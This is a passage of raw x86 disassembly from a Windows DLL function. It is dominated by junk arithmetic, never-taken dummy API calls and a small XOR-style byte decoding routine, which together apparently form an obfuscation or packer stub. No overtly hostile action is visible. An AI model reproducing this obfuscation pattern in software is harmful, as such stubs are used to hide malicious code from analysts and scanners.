mov ecx, dword [ebp - 0x1918]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x219c]
call fcn.100229d5
jmp 0x10037bee
jmp 0x10037bcc
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
mov dword [ebp - 0x7fc], 0x86aeba4d
cmp dword [ebp - 0xa78], 0x5a42
jge 0x10037c91
push dword [ebp - 0x1920]
call fcn.10074e83
pop ecx
mov dword [ebp - 0xa88], 0xef068cd5
mov dword [ebp - 0x1938], 0xfffffffc
mov dword [ebp - 0x190c], 0xfffffffd
mov dword [ebp - 0xb8], 0
jmp 0x10037cc8
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 2
jge 0x10037ce4
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x11f0], 4
jmp 0x10037cbb
mov dword [ebp - 0xb8], 0
jmp 0x10037cfd
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10037d1f
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x1b44]
call fcn.10022db7
mov dword [eax], 0xfffffff9
jmp 0x10037cf0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x11f0]
cmp dword [ebp + eax - 0x11f0], ecx
jg 0x10037d47
mov dword [ebp - 0x1928], 1
jmp 0x10037d4e
and dword [ebp - 0x1928], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x11f0]
cmp dword [ebp + eax - 0x11f0], ecx
jge 0x10037d76
mov dword [ebp - 0xa80], 1
jmp 0x10037d7d
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x10c0]
mov dword [ebp - 0xea8], eax
push 0
lea ecx, [ebp - 0x1b44]
call fcn.10022db7
mov ecx, dword [ebp - 0xea8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xea8]
cmp eax, dword [ebp - 0xa80]
je 0x10037dbe
or eax, 0xffffffff
jne 0x10037dbe
xor eax, eax
jne 0x10037dbe
and dword [ebp - 0x1930], 0
jmp 0x10037dc8
mov dword [ebp - 0x1930], 1
mov eax, dword [ebp - 0x10c0]
mov dword [ebp - 0x1be0], eax
mov eax, dword [ebp - 0x7fc]
sub eax, 0xc93c
mov dword [ebp - 0x7fc], eax
mov eax, dword [ebp - 0x7fc]
mov dword [ebp - 0xa88], eax
imul eax, dword [ebp - 0xa88], 0xffff
push 4
pop ecx
shl ecx, 0
cmp dword [ebp + ecx - 0x11f0], eax
je 0x10037e16
mov dword [ebp - 0xeb0], 1
jmp 0x10037e1d
and dword [ebp - 0xeb0], 0
mov eax, dword [ebp - 0x1938]
cmp dword [ebp - 0xeb0], eax
je 0x10037e37
mov dword [ebp - 0xa90], 1
jmp 0x10037e3e
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0x190c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b44]
call fcn.10022d9b
mov byte [ebp - 0x300], 4
mov byte [ebp - 0x2ff], 0xaf
mov byte [ebp - 0x2fe], 0xb
mov byte [ebp - 0x2fd], 0x1d
mov byte [ebp - 0x2fc], 2
mov byte [ebp - 0x2fb], 0xc
mov byte [ebp - 0x2fa], 0
mov byte [ebp - 0x2f9], 0x33
mov byte [ebp - 0x2f8], 1
mov byte [ebp - 0x2f7], 0x22
mov byte [ebp - 0x2f6], 2
mov byte [ebp - 0x2f5], 0xfd
mov byte [ebp - 0x2f4], 0xcf
mov byte [ebp - 0x2f3], 5
mov byte [ebp - 0x2f2], 0x17
mov byte [ebp - 0x2f1], 6
mov byte [ebp - 0x2f0], 1
mov byte [ebp - 0x2ef], 9
mov byte [ebp - 0x2ee], 0x1d
mov byte [ebp - 0x2ed], 3
mov byte [ebp - 0x2ec], 0x38
mov byte [ebp - 0x2eb], 7
mov byte [ebp - 0x2ea], 0x3f
mov byte [ebp - 0x2e9], 0xa
mov byte [ebp - 0x2e8], 0x2c
mov byte [ebp - 0x2e7], 0xc
mov byte [ebp - 0x2e6], 0x12
mov byte [ebp - 0x2e5], 8
mov byte [ebp - 0x2e4], 0x38
mov dword [ebp - 0x24], 0x32b1cecb
mov dword [ebp - 0x864], 6
push 2
lea ecx, [ebp - 0x1a84]
call fcn.10022d19
mov dword [ebp - 4], 0xc
mov dword [ebp - 0xd0], 0
jmp 0x10037f62
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 4
jge 0x10037f7e
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x1374], 1
jmp 0x10037f55
mov dword [ebp - 0xd0], 0
jmp 0x10037f97
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x10037fb9
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x1a84]
call fcn.10022db7
mov dword [eax], 9
jmp 0x10037f8a
mov dword [ebp - 0x24], 0
jmp 0x10037fc9
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jg 0x100381ee
mov dword [ebp - 0x70], 0x33c63384
mov dword [ebp - 0x1418], 0xf7d1649b
mov dword [ebp - 0x2ac], 0x6ea3de81
cmp dword [ebp - 0x70], 0
jne 0x10038120
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1374]
cmp dword [ebp - 0x24], eax
je 0x10038016
mov dword [ebp - 0x129c], 1
jmp 0x1003801d
and dword [ebp - 0x129c], 0
mov eax, dword [ebp - 0x129c]
sub eax, dword [ebp - 0x70]
jne 0x10038037
cmp dword [ebp - 0x24], 0
jne 0x10038037
and dword [ebp - 0xa98], 0
jmp 0x10038041
mov dword [ebp - 0xa98], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xa98], eax
jle 0x10038058
mov dword [ebp - 0xeb8], 1
jmp 0x1003805f
and dword [ebp - 0xeb8], 0
cmp dword [ebp - 0xeb8], 0xffffffff
jge 0x10038074
mov dword [ebp - 0x1934], 1
jmp 0x1003807b
and dword [ebp - 0x1934], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x1de8], eax
cmp dword [ebp - 0x70], 1
jne 0x10038096
mov dword [ebp - 0xaa0], 1
jmp 0x1003809d
and dword [ebp - 0xaa0], 0
cmp dword [ebp - 0xaa0], 1
jl 0x100380b2
mov dword [ebp - 0x1788], 1
jmp 0x100380b9
and dword [ebp - 0x1788], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1be8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1374], 0x2e8
je 0x100380e0
mov dword [ebp - 0x10c8], 1
jmp 0x100380e7
and dword [ebp - 0x10c8], 0
mov eax, dword [ebp - 0x10c8]
mov dword [ebp - 0x1418], eax
mov eax, dword [ebp - 0x2ac]
sub eax, dword [ebp - 0x70]
je 0x10038110
cmp dword [ebp - 0x24], 0
je 0x10038110
mov dword [ebp - 0xaa8], 1
jmp 0x10038117
and dword [ebp - 0xaa8], 0
cmp dword [ebp - 0xaa8], 0
je 0x10038178
mov dword [ebp - 0x2ac], 0
jmp 0x10038139
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 3
jg 0x10038176
mov byte [ebp - 0x186], 0
movzx eax, byte [ebp - 0x186]
test eax, eax
je 0x1003815a
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov byte [ebp - 0x188], 0
movzx eax, byte [ebp - 0x188]
test eax, eax
je 0x10038174
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
jmp 0x1003812c
jmp 0x100381a8
mov dword [ebp - 0x1394], 0xdc87a9b6
mov dword [ebp - 0x1394], 0xcd3624b6
mov byte [ebp - 0x177], 0
movzx eax, byte [ebp - 0x177]
test eax, eax
je 0x100381a8
push 0
push 0
call dword [sym.imp.USER32.dll_EndPaint]
mov dword [ebp - 0x70], 0
jmp 0x100381b8
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jg 0x100381e9
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x100381d8
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [ebp - 0x70]
cmp dword [ebp + eax*4 - 0x1374], 0
je 0x100381e7
jmp 0x100381e9
jmp 0x100381b1
jmp 0x10037fc2
cmp dword [ebp - 0x24], 0x4d464468
jg 0x10038203
mov dword [ebp - 0x10d0], 1
jmp 0x1003820a
and dword [ebp - 0x10d0], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x24]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x1374]
cmp eax, dword [ebp - 0x24]
jne 0x1003822d
mov dword [ebp - 0xec0], 1
jmp 0x10038234
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xec0], eax
jne 0x1003824b
mov dword [ebp - 0xab0], 1
jmp 0x10038252
and dword [ebp - 0xab0], 0
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x1374]
imul ecx, dword [ebp - 0xab0]
cmp dword [ebp + eax - 0x1374], ecx
jne 0x10038281
mov dword [ebp - 0x11d0], 1
jmp 0x10038288
and dword [ebp - 0x11d0], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x11d0], eax
jle 0x1003829f
mov dword [ebp - 0xab8], 1
jmp 0x100382a6
and dword [ebp - 0xab8], 0
mov eax, dword [ebp - 0xab8]
sub eax, dword [ebp - 0x24]
push 4
pop ecx
imul ecx, ecx, 3
sub eax, dword [ebp + ecx - 0x1374]
cmp eax, 1
jge 0x100382cd
mov dword [ebp - 0xec8], 1
jmp 0x100382d4
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xec8], eax
je 0x100382eb
mov dword [ebp - 0xac0], 1
jmp 0x100382f2
and dword [ebp - 0xac0], 0
mov eax, dword [ebp - 0xac0]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x864]
mov dword [ebp - 0x1dc0], eax
mov eax, dword [ebp - 0x864]
cmp dword [ebp - 0x10d0], eax
jg 0x10038324
mov dword [ebp - 0xac8], 1
jmp 0x1003832b
and dword [ebp - 0xac8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1374]
cmp dword [ebp - 0xac8], eax
je 0x1003834c
mov dword [ebp - 0xed0], 1
jmp 0x10038353
and dword [ebp - 0xed0], 0
push 1
lea ecx, [ebp - 0x1a84]
call fcn.10022db7
mov ecx, dword [ebp - 0xed0]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a84]
call fcn.10022d9b
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x300]
or eax, 0xca
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x300]
and ecx, 0xca
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x300]
mov byte [ebp + ecx - 0x1344], al
mov dword [ebp - 0xfc], 0xfffffff6
mov dword [ebp - 0x68], 0xdfe012d2
push 2
lea ecx, [ebp - 0x1a90]
call fcn.10022d19
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x3f0], 0
jmp 0x100383f3
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 2
jge 0x10038415
push dword [ebp - 0x3f0]
lea ecx, [ebp - 0x1a90]
call fcn.10022db7
mov dword [eax], 0x8fb0b44c
jmp 0x100383e6
cmp dword [ebp - 0xfc], 0
jne 0x10038430
cmp dword [ebp - 0xfc], 0
jne 0x10038430
and dword [ebp - 0xad0], 0
jmp 0x1003843a
mov dword [ebp - 0xad0], 1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x1bf0], eax
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0xad0]
je 0x10038467
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x10038467
mov dword [ebp - 0x1264], 1
jmp 0x1003846e
and dword [ebp - 0x1264], 0
mov eax, dword [ebp - 0x1264]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0xfc], eax
jge 0x1003848e
mov dword [ebp - 0xad8], 1
jmp 0x10038495
and dword [ebp - 0xad8], 0
mov eax, dword [ebp - 0xfc]
add eax, dword [ebp - 0xad8]
cmp eax, 0x91509cf1
jbe 0x100384b4
mov dword [ebp - 0xed8], 1
jmp 0x100384bb
and dword [ebp - 0xed8], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0xed8], eax
je 0x100384d5
mov dword [ebp - 0x1710], 1
jmp 0x100384dc
and dword [ebp - 0x1710], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x1df0], eax
cmp dword [ebp - 0x68], 0
je 0x1003851c
mov dword [ebp - 0x68], 0
jmp 0x100384fe
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 2
jge 0x1003851a
push dword [ebp - 0x68]
lea ecx, [ebp - 0x1a90]
call fcn.10022db7
mov dword [eax], 0xe92eda8e
jmp 0x100384f7
jmp 0x10038574
mov byte [ebp - 0x1d2], 0
movzx eax, byte [ebp - 0x1d2]
test eax, eax
je 0x1003853c
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov dword [ebp - 0x68], 0
jmp 0x1003854c
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jg 0x10038574
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x10038572
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
jmp 0x10038545
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a90]
call fcn.10022d9b
mov dword [ebp - 0x2c], 2
and dword [ebp - 0x2b4], 0
jmp 0x1003859b
mov eax, dword [ebp - 0x2c]
inc eax
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1d
jae 0x10038f8d
mov dword [ebp - 0x274], 0
mov dword [ebp - 0x4dc], 0
jmp 0x100385c8
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 4
jge 0x100385e4
mov eax, dword [ebp - 0x4dc]
mov dword [ebp + eax*4 - 0x1f4c], 0x667a876e
jmp 0x100385bb
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x274]
mov dword [ebp + eax - 0x1f4c], ecx
mov dword [ebp - 0x274], 0x13
jmp 0x10038610
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x3c
jle 0x1003868c
mov dword [ebp - 0x3f8], 7
mov byte [ebp - 0x1d4], 0
movzx eax, byte [ebp - 0x1d4]
test eax, eax
je 0x10038643
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov dword [ebp - 0x3f8], 0xfffffffd
jmp 0x1003865c
mov eax, dword [ebp - 0x3f8]
dec eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0xffffffe9
jne 0x10038687
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x10038685
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
jmp 0x1003864f
jmp 0x10038603
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x300]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x2c], eax
jne 0x10038935
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x300]
inc eax
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x300]
mov ecx, dword [ebp - 0x2c]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x7c], 0xe0648261
mov dword [ebp - 0x804], 0xfffffff8
push 3
lea ecx, [ebp - 0x131c]
call fcn.10022d19
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x4e4], 0
jmp 0x1003870c
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 3
jge 0x1003872e
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x131c]
call fcn.10022db7
mov dword [eax], 0x412df3d3
jmp 0x100386ff
mov dword [ebp - 0x7c], 0
jmp 0x1003873e
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xb
jne 0x10038830
push 1
lea ecx, [ebp - 0x1878]
call fcn.10022d19
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x98], 0
jmp 0x10038772
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1003878e
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1bf8], 0xffffffff
jmp 0x10038765
mov dword [ebp - 0x98], 0
jmp 0x100387a7
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x100387c9
push dword [ebp - 0x98]
lea ecx, [ebp - 0x1878]
call fcn.10022db7
mov dword [eax], 0x45db34e6
jmp 0x1003879a
push 0
lea ecx, [ebp - 0x1878]
call fcn.10022db7
and dword [eax], 0
jmp 0x100387ff
push 0
lea ecx, [ebp - 0x1878]
call fcn.10022db7
mov dword [ebp - 0xae0], eax
mov eax, dword [ebp - 0xae0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xae0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1878]
call fcn.10022db7
cmp dword [eax], 0
jg 0x1003881c
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x804], eax
jmp 0x100387db
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1878]
call fcn.10022d9b
jmp 0x10038737
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0
je 0x100388ab
xor eax, eax
inc eax
je 0x10038859
cmp dword [ebp - 0x7c], 0
je 0x10038859
mov dword [ebp - 0x10d8], 1
jmp 0x10038860
and dword [ebp - 0x10d8], 0
cmp dword [ebp - 0x10d8], 0xb6fd
jle 0x10038878
mov dword [ebp - 0xae8], 1
jmp 0x1003887f
and dword [ebp - 0xae8], 0
mov esi, dword [ebp - 0x7c]
mov edi, dword [ebp - 0x7c]
imul edi, dword [ebp - 0xae8]
push 2
lea ecx, [ebp - 0x131c]
call fcn.10022db7
sub edi, dword [eax]
cmp esi, edi
jne 0x100388ab
mov dword [ebp - 0xee0], 1
jmp 0x100388b2
and dword [ebp - 0xee0], 0
push 0
lea ecx, [ebp - 0x131c]
call fcn.10022db7
mov ecx, dword [ebp - 0xee0]
cmp ecx, dword [eax]
jle 0x100388d5
mov dword [ebp - 0xaf0], 1
jmp 0x100388dc
and dword [ebp - 0xaf0], 0
mov eax, dword [ebp - 0xaf0]
mov dword [ebp - 0x7c], eax
mov esi, dword [ebp - 0x7c]
push 2
lea ecx, [ebp - 0x131c]
call fcn.10022db7
cmp dword [eax], esi
jge 0x10038905
mov dword [ebp - 0x11d8], 1
jmp 0x1003890c
and dword [ebp - 0x11d8], 0
push 2
lea ecx, [ebp - 0x131c]
call fcn.10022db7
mov ecx, dword [ebp - 0x11d8]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x131c]
call fcn.10022d9b
jmp 0x10038593
mov dword [ebp - 0x234], 1
mov dword [ebp - 0xb00], 0xbbef7d65
push 1
lea ecx, [ebp - 0x1ab4]
call fcn.10022d19
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x400], 0
jmp 0x10038976
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 1
jge 0x10038995
push dword [ebp - 0x400]
lea ecx, [ebp - 0x1ab4]
call fcn.10022db7
or dword [eax], 0xffffffff
jmp 0x10038969
push 7
pop eax
test eax, eax
je 0x10038a4c
cmp dword [ebp - 0x234], 0x31d26ec1
jg 0x100389b8
mov dword [ebp - 0xaf8], 1
jmp 0x100389bf
and dword [ebp - 0xaf8], 0
cmp dword [ebp - 0xaf8], 0x5ce9
jl 0x100389d7
mov dword [ebp - 0xee8], 1
jmp 0x100389de
and dword [ebp - 0xee8], 0
mov eax, dword [ebp - 0x234]
mov dword [ebp - 0xb00], eax
mov eax, dword [ebp - 0x234]
add eax, dword [ebp - 0xee8]
cmp dword [ebp - 0xb00], eax
jle 0x10038a0a
mov dword [ebp - 0x10e0], 1
jmp 0x10038a11
and dword [ebp - 0x10e0], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0x10e0], eax
je 0x10038a2b
mov dword [ebp - 0xb08], 1
jmp 0x10038a32
and dword [ebp - 0xb08], 0
mov eax, dword [ebp - 0x234]
add eax, dword [ebp - 0xb08]
je 0x10038a4c
mov dword [ebp - 0xef0], 1
jmp 0x10038a53
and dword [ebp - 0xef0], 0
mov esi, dword [ebp - 0x234]
add esi, dword [ebp - 0xef0]
push 0
lea ecx, [ebp - 0x1ab4]
call fcn.10022db7
mov dword [eax], esi
mov byte [ebp - 0x1d6], 0
movzx eax, byte [ebp - 0x1d6]
test eax, eax
je 0x10038a90
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontFamiliesExA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ab4]
call fcn.10022d9b
mov eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x2ff]
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x2b4]
movzx ecx, byte [ebp + ecx - 0x302]
movsx ecx, byte [ebp + ecx - 0x1344]
add eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x2ff]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x2b4]
movzx edx, byte [ebp + edx - 0x302]
movsx edx, byte [ebp + edx - 0x1344]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x2ff]
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x2b4]
movzx edx, byte [ebp + edx - 0x302]
movsx edx, byte [ebp + edx - 0x1344]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x2c]
movzx ecx, byte [ebp + ecx - 0x300]
mov byte [ebp + ecx - 0x1344], al
mov dword [ebp - 0x258], 9
mov dword [ebp - 0x258], 0xffffffe6
jmp 0x10038b4a
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x10
jne 0x10038f81
push 3
lea ecx, [ebp - 0x1888]
call fcn.10022d19
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x408], 0xfa5c62e0
mov dword [ebp - 0x4ec], 0
jmp 0x10038b8e
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 3
jge 0x10038bb0
push dword [ebp - 0x4ec]
lea ecx, [ebp - 0x1888]
call fcn.10022db7
mov dword [eax], 0xc2039807
jmp 0x10038b81
mov dword [ebp - 0x408], 2
jmp 0x10038bc9
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jl 0x10038f4d
mov dword [ebp - 0x27c], 3
mov dword [ebp - 0x878], 0xc27f355c
mov dword [ebp - 0x27c], 0
jmp 0x10038c03
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jg 0x10038f48
mov dword [ebp - 0x4f4], 0
jmp 0x10038c29
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 2
jge 0x10038c45
mov eax, dword [ebp - 0x4f4]
mov dword [ebp + eax*4 - 0x8dc], 0x9ba095a9
jmp 0x10038c1c
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x10038c5f
push 0
call dword [sym.imp.GDI32.dll_RealizePalette]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x8dc], 2
jmp 0x10038c8d
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8dc]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x8dc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8dc], 0
jl 0x10038f43
mov dword [ebp - 0x208], 0x461e3ff1
mov dword [ebp - 0x13a4], 0xf748bbe2
mov dword [ebp - 0x171c], 0x9fa9ef81
mov dword [ebp - 0x208], 0
jmp 0x10038cd8
cmp dword [ebp - 0x208], 2
jg 0x10038f22
mov dword [ebp - 0xb10], 0x63a
mov dword [ebp - 0x1790], 0x1000b1e8
cmp dword [ebp - 0xb10], 0x725
jle 0x10038de1
and dword [ebp - 0x410], 0
jmp 0x10038d1f
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x2cb0
jge 0x10038de1
and dword [ebp - 0x4fc], 0
jmp 0x10038d45
cmp dword [ebp - 0x4fc], 0x1b50
jge 0x10038ddc
and dword [ebp - 0x418], 0
jmp 0x10038d6b
cmp dword [ebp - 0x418], 0x6d7a
jge 0x10038dd7
mov eax, dword [ebp - 0x410]
imul eax, dword [ebp - 0x4fc]
mov ecx, dword [ebp - 0x418]
shl eax, cl
cdq
mov dword [ebp - 0x14d8], eax
mov dword [ebp - 0x14d4], edx
push dword [ebp - 0x14d4]
push dword [ebp - 0x14d8]
lea ecx, [ebp - 0x204c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x139c], eax
mov ecx, dword [ebp - 0x139c]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x204c]
call fcn.100229d5
jmp 0x10038d5e
jmp 0x10038d38
jmp 0x10038d12
cmp dword [ebp - 0xb10], 0x510
jge 0x10038df9
push dword [ebp - 0x1790]
call fcn.10074e83
pop ecx
push 0
lea ecx, [ebp - 0x1888]
call fcn.10022db7
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8dc]
mov dword [ebp - 0x1dd0], eax
xor eax, eax
inc eax
cmp eax, 0xffffffff
jb 0x10038e2d
mov dword [ebp - 0x1284], 1
jmp 0x10038e34
and dword [ebp - 0x1284], 0
push dword [ebp - 0x208]
lea ecx, [ebp - 0x1888]
call fcn.10022db7
mov eax, dword [eax]
sub eax, dword [ebp - 0x1284]
imul eax, dword [ebp - 0x878]
test eax, eax
je 0x10038e6d
mov eax, 0xffff
test eax, eax
je 0x10038e6d
mov dword [ebp - 0xb18], 1
jmp 0x10038e74
and dword [ebp - 0xb18], 0
cmp dword [ebp - 0xb18], 0xd1883800
jb 0x10038e8c
mov dword [ebp - 0xef8], 1
jmp 0x10038e93
and dword [ebp - 0xef8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8dc]
cmp dword [ebp - 0xef8], eax
jg 0x10038eb6
or eax, 0xffffffff
jne 0x10038eb6
and dword [ebp - 0xb20], 0
jmp 0x10038ec0
mov dword [ebp - 0xb20], 1
push dword [ebp - 0x208]
lea ecx, [ebp - 0x1888]
call fcn.10022db7
mov eax, dword [eax]
imul eax, dword [ebp - 0xb20]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x13a4], eax
cmp dword [ebp - 0x258], 0
je 0x10038f0a
cmp dword [ebp - 0x27c], 0
je 0x10038f0a
and dword [ebp - 0x10e8], 0
mov eax, dword [ebp - 0x10e8]
mov dword [ebp - 0x171c], eax
jmp 0x10038ccb
mov byte [ebp - 0x1d8], 0
movzx eax, byte [ebp - 0x1d8]
test eax, eax
je 0x10038f3e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
jmp 0x10038c72
jmp 0x10038bf6
jmp 0x10038bbc
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x10038f6d
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1888]
call fcn.10022d9b
jmp 0x10038b3d
and dword [ebp - 0x2b4], 0
jmp 0x10038593
mov dword [ebp - 0x14], 0xca631852
mov dword [ebp - 0x60], 0x439beb06
push 4
lea ecx, [ebp - 0x254]
call fcn.10022d19
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x428], 0xb3799040
mov dword [ebp - 0x504], 0
jmp 0x10038fd2
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 4
jge 0x10038ff4
push dword [ebp - 0x504]
